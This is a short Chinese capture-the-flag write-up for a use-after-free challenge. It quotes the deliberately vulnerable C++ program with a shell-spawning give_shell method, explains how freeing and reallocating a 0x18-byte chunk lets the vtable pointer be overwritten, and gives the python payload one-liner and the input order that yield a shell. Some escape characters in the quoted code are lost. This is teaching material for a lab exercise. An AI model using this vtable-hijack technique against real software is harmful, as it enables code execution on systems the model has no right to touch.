虽然每个点都不难,但堆到一起还是容易迷糊。
此题需要c++知识,所以如果不了解c++,请先去菜鸟教程,了解完类的知识即可。
首先请浏览过这篇文章c++类实例在内存中的分配 (转) - bizhu - 博客园 (cnblogs.com)
清楚类在内存中的存储方式后我们继续。
由于本人几经尝试终端没下载下来文件(大无语。所以使用了winscp。
uaf.cpp点开
#include#include #include #include #include using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. usen2. aftern3. freen"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
argv[]不了解的请csdn一下。 我们可以了解到man和woman是human的子类,give-shell函数被继承。case1调用introduce。case2new了一块地址,并把文件中的东西读到里面。case3delete。
这里的中心利用思想是先去delete,之后new一块与m,w相同大小的数组,由于malloc的内存管理机制,会把刚delete的这块给data。由于虚地址被放在类首,我们可以通过覆盖这块地址,去完成调用give-shell的操作。
打开ida
发现new了0x18,因此后续创建,也要创建相同的大小
找到case1,我们可以看到,v12+8,这里的v12里放的是虚表的头位置,偏移量为8,我们的目的是让他运行虚表第一个函数(不明白为什么give-shell是第一个可以再读一下内存分布那个文章)
我们采用把v12里的数减8的方式,这样最后就正好是give-shell了。
接下来是实施
python -c "print 'x68x15x40x00x00x00x00x00'" > /tmp/poc
这段意思是把x68x15x40x00x00x00x00x00写入poc,注意,这个程序是小端序,需要主动把地址逆过来。正常就是0x401568。
24是之前的0x18,/tmp/poc是文件路径。
最后3221拿到flag



